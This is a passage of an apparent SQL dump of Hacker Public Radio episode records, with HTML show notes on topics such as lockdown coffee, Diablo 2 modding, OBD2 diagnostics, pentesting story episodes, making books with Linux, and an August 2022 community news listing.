class=\"uri\">https://www.ahuka.com/dos-lessons-for-self-study-purposes/dos-lesson-9-the-file-system/</a></li>\r\n</ul>\r\n',198,117,0,'CC-BY-SA','DOS, early PC computing, file system',0,0,1),
(3364,'2021-06-24','Part One - all the covid crap',99,'My new coffee pot, covid motivation','<p>So, I\'m currently listening to the \"Feedback on the Article\" show, and am feeling like I should contribute a show.</p>\r\n<p>A long time ago now, I bought a new coffee machine for home, on the basis that I was going to be working from home for a while, and I was really missing my daily hits of actual coffee. I drink maybe four or five cups a day, depending on how early I get into work. I do try to have all this coffee in the morning, and am pretty good at not having any after lunch.</p>\r\n<p>Now, I do need to recognise where I am, Australia, overall we\'ve had a pretty good response to covid, fatalities have been very low by world standards. Having said that, I live in the part of Australia that has had the largest number and by far, longest lockdowns. Our longest one was 112 days.</p>\r\n<p>I\'ve also travelled back home, and got caught in a lockdown in my home state of Queensland over Christmas.</p>\r\n<p>Eventually, the lockdowns ended, we were allowed go back to work, and I started using my home coffee machine less and less, and I lost motivation to do this show.</p>\r\n<p>Then, of course, we had another inevitable hotel quarantine leak, and that spread to Victoria, we\'re now looking at a breakout of around sixty cases and Victoria is back on lockdown so this is my fifth lockdown, and I\'m back to working from home, and once again, I\'m appreciating my new coffee pot, and once again I have motivation to do a story on it.</p>\r\n<p>What I really want to do is to disentangle the two topics, this episode will deal with all the covid stuff, the second episode will only deal with coffee.</p>\r\n<p>So this covid rant ends here, and now I need to start writing the script for the second part of the show, before lockdown ends..</p>\r\n',315,0,0,'CC-BY-SA','covid19,coffee',0,0,1),
(3365,'2021-06-25','Diablo 2 Portable and Modding',452,'I talk about Diablo 2 and modding','<p>\r\n<a href=\"https://en.wikipedia.org/wiki/Diablo_II\">Diablo II</a>\r\n</p>\r\n<p>\r\nDiablo II is an action role-playing hack-and-slash computer video game developed by Blizzard North and published by Blizzard Entertainment in 2000 for Microsoft Windows, Classic Mac OS, and macOS. The game, with its dark fantasy and horror themes, was conceptualized and designed by David Brevik and Erich Schaefer, who, with Max Schaefer, acted as project leads on the game. The producers were Matthew Householder and Bill Roper. The game was developed over a 3 year period, with a crunch time of 1.5 years long\r\n</p>\r\n\r\n<p>\r\nSearch for \"Registry patch  diablo 2\", \"borderless gaming diablo 2\"\r\n</p>\r\n\r\n<p>\r\n<a href=\"https://diablo-archive.fandom.com/wiki/PlugY\">PlugY</a> <br />\r\nPlugY is a mod whose primary purpose is to increase the stash size for Diablo II characters. Over the years it has grown to include numerous other useful functions, such as enabling Ladder Only Rune Words outside of the Battle.net Ladder, enabling the Uber quests outside of Battle.net and various other small tweaks and additions. PlugY is not a conversion of the original Diablo, and it doesn\'t alter gameplay by changing monster stats, skills, maps or items. \r\n</p>\r\n\r\n<p>\r\n<a href=\"https://www.median-xl.com/\">median xl</a><br />\r\nThe most popular Diablo II overhaul modification, Median XL is an action RPG with extensive endgame content, deep character customisation and challenging gameplay. It offers thousands of new items, new skills for all classes, and multiple improvements to the Diablo II engine.\r\n</p>',36,0,0,'CC-BY-SA','diablo 2,video games,gaming,modding,hacking,median xl,plug y',0,0,1),
(3375,'2021-07-09','Car ODB2 Fun and Fail',617,'I try to figure out ODB2 stuff again','<p>\r\n<a href=\"https://en.wikipedia.org/wiki/On-board_diagnostics\">On-board diagnostics (OBD)</a><br />\r\nFrom Wikipedia, the free encyclopedia<br />\r\nOn-board diagnostics (OBD) is an automotive term referring to a vehicle\'s self-diagnostic and reporting capability. OBD systems give the vehicle owner or repair technician access to the status of the various vehicle sub-systems. The amount of diagnostic information available via OBD has varied widely since its introduction in the early 1980s versions of on-board vehicle computers. Early versions of OBD would simply illuminate a malfunction indicator light or \"idiot light\" if a problem was detected but would not provide any information as to the nature of the problem. Modern OBD implementations use a standardized digital communications port to provide real-time data in addition to a standardized series of diagnostic trouble codes, or DTCs, which allow a person to rapidly identify and remedy malfunctions within the vehicle. \r\n</p>\r\n<p>\r\n<a href=\"https://play.google.com/store/apps/details?id=org.prowl.torque&hl=en_US&gl=US\">Torque Pro (OBD 2 and Car)</a><br />\r\nSee what your car is doing in realtime, get OBD fault codes, car performance, sensor data and more!\r\nTorque is a vehicle / car performance / diagnostics tool and scanner that uses an OBD II Bluetooth adapter to connect to your OBD2 engine management / ECU\r\n</p>\r\n<p>\r\n<a href=\"https://www.myg37.com/forums/engine-drivetrain-and-forced-induction/298338-vdc-stays-on-randomly.html\">Forum Thread</a>\r\n</p>\r\n<p>\r\n<a href=\"https://www.nicoclub.com/search#gsc.tab=0&gsc.q=infinity&gsc.sort=\">Search on NicoClub.com for Infinity Manuals</a>\r\n</p>\r\n',36,0,0,'CC-BY-SA','car,auto,odb2',0,0,1),
(3385,'2021-07-23','DIY Cat feeder!',824,'I talk about 3d printed cat feeders','<p>\r\nIn this episode operat0r builds a <a href=\"https://www.thingiverse.com/thing:27854\">cat feeder based on thingiverse.com</a>\r\n</p>',36,0,0,'CC-BY-SA','cats,3d printing,hacking,arduino',0,0,1),
(3395,'2021-08-06','Hacking Stories with Reacted: part 1',1979,'I talk about some old old old pentesting stories from days old!','<p>\r\nI talk about some old old old pentesting stories from days old!\r\n</p>',36,0,1,'CC-BY-SA','hackhacking,pentesting,red team,hacking storiesing',0,0,1),
(3405,'2021-08-20','Hacking Stories with Reacted: part 2',152,'I talk about some old old old pentesting stories from days old!','<p>\r\nI talk about some old old old pentesting stories from days old!\r\n</p>',36,0,0,'CC-BY-SA','hacking,pentesting,red team,hacking stories',0,0,1),
(3415,'2021-09-03','Hacking Stories with Reacted: part 3',836,'I talk about some old old old pentesting stories from days old!','<p>\r\nI talk about some old old old pentesting stories from days old!\r\n</p>',36,0,1,'CC-BY-SA','hacking,pentesting,red team,hacking stories',0,0,1),
(3425,'2021-09-17','Hacking Stories with Reacted: part 4',1055,'I talk about some old old old pentesting stories from days old!','<p>\r\nI talk about some old old old pentesting stories from days old!\r\n</p>',36,0,0,'CC-BY-SA','hacking,pentesting,red team,hacking stories',0,0,1),
(3435,'2021-10-01','Hacking Stories with Reacted: part 5',1060,'I talk about some old old old pentesting stories from days old!','<p>I talk about some old old old pentesting stories from days old!</p>',36,0,1,'CC-BY-SA','hacking,pentesting,red team,hacking stories',0,0,1),
(3376,'2021-07-12','Making books with Linux - part 2',2919,'Part 2 of a discussion about how two HPR hosts create books','<h2 id=\"hosts\">Hosts</h2>\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=268\">Andrew Conway (<em>mcnalu</em>)</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\">Dave Morriss</a></li>\r\n</ul>\r\n<h2 id=\"handling-incoming-hpr-shows\">Handling incoming HPR shows</h2>\r\n<ul>\r\n<li>Dave, with his <em>Janitor</em> hat on\r\n<ul>\r\n<li>Processes incoming notes, to generate HTML</li>\r\n<li>Plain text is turned to Markdown. Otherwise various Markdown flavours are acceptable, or an HTML5 fragment</li>\r\n<li>If images are included the Markdown can refer to them with URLs such as: <code>https://hackerpublicradio.org/eps/hprNNNN/name.jpg</code>\r\n<ul>\r\n<li>The <code>hprNNNN</code> element is a directory using the number you chose for your show.</li>\r\n<li>In the directory will be the images you sent.</li>\r\n<li>Other <em>assets</em> will go there too so you can refer to these in your notes as well.</li>\r\n<li>If you’re sending plain text, then markers such as <strong>&gt;&gt; Picture name.jpg here &lt;&lt;</strong> will let me make the appropriate Markdown.</li>\r\n</ul></li>\r\n<li>The directory also needs an <code>index.html</code> file, but my scripts will generate this if needed.</li>\r\n<li>I intend to document this soon.</li>\r\n</ul></li>\r\n</ul>\r\n<h2 id=\"how-dave-makes-hpr-shownotes\">How Dave makes HPR shownotes</h2>\r\n<ul>\r\n<li>Uses scripts to manage show note generation</li>\r\n<li>Uses Markdown when writing the notes\r\n<ul>\r\n<li>Scripts generate note templates and a <code>Makefile</code></li>\r\n<li>Automation using <code>make</code></li>\r\n</ul></li>\r\n<li>Uses Template Toolkit features inside notes to allow extra features\r\n<ul>\r\n<li>Notes go through a pre-processor (a script with access to the show metadata)</li>\r\n<li>The end product is Markdown which is processed with Pandoc</li>\r\n</ul></li>\r\n<li>Template Toolkit (<em>TT<sup>2</sup></em>)\r\n<ul>\r\n<li>A Perl (and Python) tool kit for making templates</li>\r\n<li>Good for generating HTML, but can generate any text</li>\r\n</ul></li>\r\n<li><em>TT<sup>2</sup></em> macros can be used to display scripts in shows relating to the subject, and to run them and capture the output. This makes it certain that the script on display <strong>really</strong> generated the output shown!</li>\r\n<li>The <code>\'Falkon\'</code> browser (originally called <code>QupZilla</code>) is great for monitoring notes since it updates when the HTML changes.\r\n<ul>\r\n<li>Dave confused it with <code>Pale Moon</code> (a fork of <code>Firefox/Mozilla</code>) when talking about tab grouping features</li>\r\n</ul></li>\r\n<li>Should this (personalised) bundle of software be released to the world?\r\n<ul>\r\n<li>Probably yes, since the thoughts in it may be useful even if the code is not.</li>\r\n</ul></li>\r\n</ul>\r\n<h2 id=\"consolidating-show-notes-into-a-book\">Consolidating show notes into a book</h2>\r\n<ul>\r\n<li>We had discussed the following topic a little in other contexts, and offline, but didn’t really look at it in this show. In brief, and for the record, the plans are:\r\n<ul>\r\n<li>There was a series on <code>\'sed\'</code>, the stream editor from the GNU project. It was called <em>“Introduction to sed”</em>, and consisted of 5 parts, which ran through 2016.</li>\r\n<li>Each episode had short and long notes as well as several examples.</li>\r\n<li>Work has begun on consolidating all of the long notes into a single document which will be released on the HPR site, in HTML and PDF formats. Perhaps ePub will be included if feasible.</li>\r\n<li>It’s seen as critical that an index be provided so that topics can be found easily. At the moment this is simplest to achieve with the PDF version, using Andrew’s index generator as discussed in part 1 of this pair of shows.</li>\r\n</ul></li>\r\n</ul>\r\n<h2 id=\"digression-about-experiences-in-uk-higher-education\">Digression about experiences in UK Higher Education</h2>\r\n<ul>\r\n<li>Change of funding through the 1980’s to the 2000’s, particularly in IT</li>\r\n<li>Moving from (often very clever) “home-brew” solutions to products from the <em>big</em> players like Microsoft and Oracle.</li>\r\n<li>The change of management style to something more like the industry methods of earlier times, many of which had been discarded.</li>\r\n<li>Perhaps there is scope for more discussion on this subject in another HPR show!</li>\r\n</ul>',225,0,1,'CC-BY-SA','Markdown,Pandoc,Template Toolkit,PDF',0,0,1),
(3373,'2021-07-07','HPR RPG Club reviews Starfinder',5175,'Starfinder is a sci-fi RPG using Dungeons & Dragons 3.5 rules','<p>\r\nYou can <a href=\"https://paizo.com/starfinder\" target=\"_blank\">purchase Starfinder directly from Paizo</a>, and you can usually find <em>Starfinder Society</em> play at your friendly local game store.\r\n</p>\r\n\r\n<p>\r\nThe alternate starship combat rules mentioned in this episode are available from <a href=\"https://www.drivethrurpg.com/product/353682/Simple-Starship-Combat?affiliate_id=845571\" target=\"_blank\">drivethrurpg.com</a> (warning: this is an affiliate link, but any purchases made through it provide Klaatu with store credit so he can buy more RPG books for future HPR Club reviews).\r\n</p>\r\n',78,95,1,'CC-BY-SA','rpg, cyberpunk, science fiction',0,0,1),
(3374,'2021-07-08','Why I love the MacBook Mid 2010',1431,'I talk about the upgrades I made to the machine and how it\'s benefited me since I got it','<p>The upgrades made to the machine were a 500 GB ssd, 16 GB of ram, and went from El Capitan to Catalina.</p>',297,0,0,'CC-BY-SA','technology,Apple,MacBook,laptop',0,0,1),
(3676,'2022-09-05','HPR Community News for August 2022',9576,'HPR Volunteers talk about shows released and comments posted in August 2022','<style>\ntable td.shrink {\n    white-space:nowrap\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nWelcome to our new hosts: <br />\n\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=408\" target=\"_blank\">Stache_AF</a>, \n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=410\" target=\"_blank\">Hipernike</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3651\" target=\"_blank\">3651</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-08-01</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3651\" target=\"_blank\">HPR Community News for July 2022</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3652\" target=\"_blank\">3652</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-08-02</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3652\" target=\"_blank\">Registered memory</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3653\" target=\"_blank\">3653</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-08-03</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3653\" target=\"_blank\">Hello HPR Community</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=408\" target=\"_blank\">Stache_AF</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3654\" target=\"_blank\">3654</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-08-04</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3654\" target=\"_blank\">Use the data in the Ogg feed to create a website.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=342\" target=\"_blank\">norrist</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3655\" target=\"_blank\">3655</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-08-05</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3655\" target=\"_blank\">BSD for Linux users</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=406\" target=\"_blank\">binrc</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3656\" target=\"_blank\">3656</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-08-08</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3656\" target=\"_blank\">Importance of Small toy projects</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=342\" target=\"_blank\">norrist</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3657\" target=\"_blank\">3657</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-08-09</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3657\" target=\"_blank\">Small time sysadmin</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3658\" target=\"_blank\">3658</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-08-10</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3658\" target=\"_blank\">Linux Inlaws S01E62: HPR\'s inner workings</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3659\" target=\"_blank\">3659</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-08-11</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3659\" target=\"_blank\">Developing an HPR static site generator</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=293\" target=\"_blank\">Rho`n</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3660\" target=\"_blank\">3660</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-08-12</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3660\" target=\"_blank\">BASIC</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3661\" target=\"_blank\">3661</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-08-15</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3661\" target=\"_blank\">Ham Radio testing</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3662\" target=\"_blank\">3662</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-08-16</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3662\" target=\"_blank\">Hacker Public Radio 2021 - 2022 New Years Show Part 1</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=269\" target=\"_blank\">Honkeymagoo</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3663\" target=\"_blank\">3663</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-08-17</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3663\" target=\"_blank\">How I got into Tech</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=408\" target=\"_blank\">Stache_AF</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3664\" target=\"_blank\">3664</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-08-18</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3664\" target=\"_blank\">Secret hat conversations</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3665\" target=\"_blank\">3665</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-08-19</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3665\" target=\"_blank\">UNIX Is Sublime</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=406\" target=\"_blank\">binrc</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3666\" target=\"_blank\">3666</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-08-22</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3666\" target=\"_blank\">One Weird Trick</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=405\" target=\"_blank\">Lurking Prion</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3667\" target=\"_blank\">3667</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-08-23</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3667\" target=\"_blank\">Hacker Public Radio 2021 - 2022 New Years Show Part 2</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=269\" target=\"_blank\">Honkeymagoo</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3668\" target=\"_blank\">3668</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-08-24</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3668\" target=\"_blank\">Linux Inlaws S01E63: John Hawley on kernel dot org and other shenanigans</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3669\" target=\"_blank\">3669</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-08-25</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3669\" target=\"_blank\">My First Podcast: My Journey into the Computer World</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=410\" target=\"_blank\">Hipernike</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3670\" target=\"_blank\">3670</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-08-26</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3670\" target=\"_blank\">Changing Plans</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3671\" target=\"_blank\">3671</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-08-29</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3671\" target=\"_blank\">Response to Episode 3655, \"BSD for Linux Users\"</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=152\" target=\"_blank\">Claudio Miranda</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3672\" target=\"_blank\">3672</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-08-30</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3672\" target=\"_blank\">Hacker Public Radio 2021 - 2022 New Years Show Part 3</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=269\" target=\"_blank\">Honkeymagoo</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3673\" target=\"_blank\">3673</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-08-31</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3673\" target=\"_blank\">Recording for Hacker Public Radio</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=399\" target=\"_blank\">dnt</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 28 comments in total.</p>\n<h3>Past shows</h3>\n<p>There are 4 comments on\n4 previous shows:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3606#comments\" target=\"_blank\">hpr3606</a></strong>\n(2022-05-30) \"<em>Infinity is just a big number and other proofs</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3606#2\" target=\"_blank\">Comment 2</a>:\nKen Fallon on 2022-08-12:\n\"You see\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3629#comments\" target=\"_blank\">hpr3629</a></strong>\n(2022-06-30) \"<em>Linux Inlaws S01E59: The Show with Red Pandas Mosaic Killers and Metal Corrosion</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3629#1\" target=\"_blank\">Comment 1</a>:\nAaron on 2022-08-12:\n\"Excellent interview\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3643#comments\" target=\"_blank\">hpr3643</a></strong>\n(2022-07-20) \"<em>My computing history and the software I use</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=406\" target=\"_blank\">binrc</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3643#5\" target=\"_blank\">Comment 5</a>:\nShawn on 2022-08-08:\n\"Key bindings\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3648#comments\" target=\"_blank\">hpr3648</a></strong>\n(2022-07-27) \"<em>A response to tomorrows show</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3648#3\" target=\"_blank\">Comment 3</a>:\nfolky on 2022-08-10:\n\"Known Unknowns 2.0\"</li></ul><br/>\n</li></ul>\n<h3>This month\'s shows</h3>\n<p>There are 24 comments on 13 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3651#comments\" target=\"_blank\">hpr3651</a></strong>\n(2022-08-01) \"<em>HPR Community News for July 2022</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3651#1\" target=\"_blank\">Comment 1</a>:\nMike Ray on 2022-08-01:\n\"API\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3651#2\" target=\"_blank\">Comment 2</a>:\nKevin O&#39;Brien on 2022-08-11:\n\"High Winds\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3655#comments\" target=\"_blank\">hpr3655</a></strong>\n(2022-08-05) \"<em>BSD for Linux users</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=406\" target=\"_blank\">binrc</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3655#1\" target=\"_blank\">Comment 1</a>:\nClaudioM on 2022-08-05:\n\"Excellent Breakdown of BSD!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3655#2\" target=\"_blank\">Comment 2</a>:\nnorrist on 2022-08-05:\n\"why I use OpenBSD and FreeBSD\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3655#3\" target=\"_blank\">Comment 3</a>:\nPhoenix on 2022-08-07:\n\"Suggestion\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3655#4\" target=\"_blank\">Comment 4</a>:\nKevin O&#39;Brien on 2022-08-11:\n\"I loved the show\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3656#comments\" target=\"_blank\">hpr3656</a></strong>\n(2022-08-08) \"<em>Importance of Small toy projects</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=342\" target=\"_blank\">norrist</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3656#1\" target=\"_blank\">Comment 1</a>:\nSome Guy On The Internet on 2022-08-20:\n\"Love this show.\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3657#comments\" target=\"_blank\">hpr3657</a></strong>\n(2022-08-09) \"<em>Small time sysadmin</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" target=\"_blank\">Some Guy On The Internet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3657#1\" target=\"_blank\">Comment 1</a>:\nLurking Prion on 2022-08-13:\n\"Thank you!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3657#2\" target=\"_blank\">Comment 2</a>:\nKevin O&#39;Brien on 2022-08-13:\n\"Thank you\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3658#comments\" target=\"_blank\">hpr3658</a></strong>\n(2022-08-10) \"<em>Linux Inlaws S01E62: HPR\'s inner workings</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3658#1\" target=\"_blank\">Comment 1</a>:\nTwinn on 2022-08-10:\n\"Painful\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3658#2\" target=\"_blank\">Comment 2</a>:\nSome Guy On The Internet on 2022-08-20:\n\"I have more listeners than stars in the Universe.\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3659#comments\" target=\"_blank\">hpr3659</a></strong>\n(2022-08-11) \"<em>Developing an HPR static site generator</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=293\" target=\"_blank\">Rho`n</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3659#1\" target=\"_blank\">Comment 1</a>:\nSome Guy On The Internet on 2022-08-20:\n\"More Magic.\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3660#comments\" target=\"_blank\">hpr3660</a></strong>\n(2022-08-12) \"<em>BASIC</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3660#1\" target=\"_blank\">Comment 1</a>:\nBeeza on 2022-08-18:\n\"BASIC lives on\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3660#2\" target=\"_blank\">Comment 2</a>:\nSome Guy On The Internet on 2022-08-20:\n\"Visual Basic 6.0 for the Win.\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3661#comments\" target=\"_blank\">hpr3661</a></strong>\n(2022-08-15) \"<em>Ham Radio testing</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a 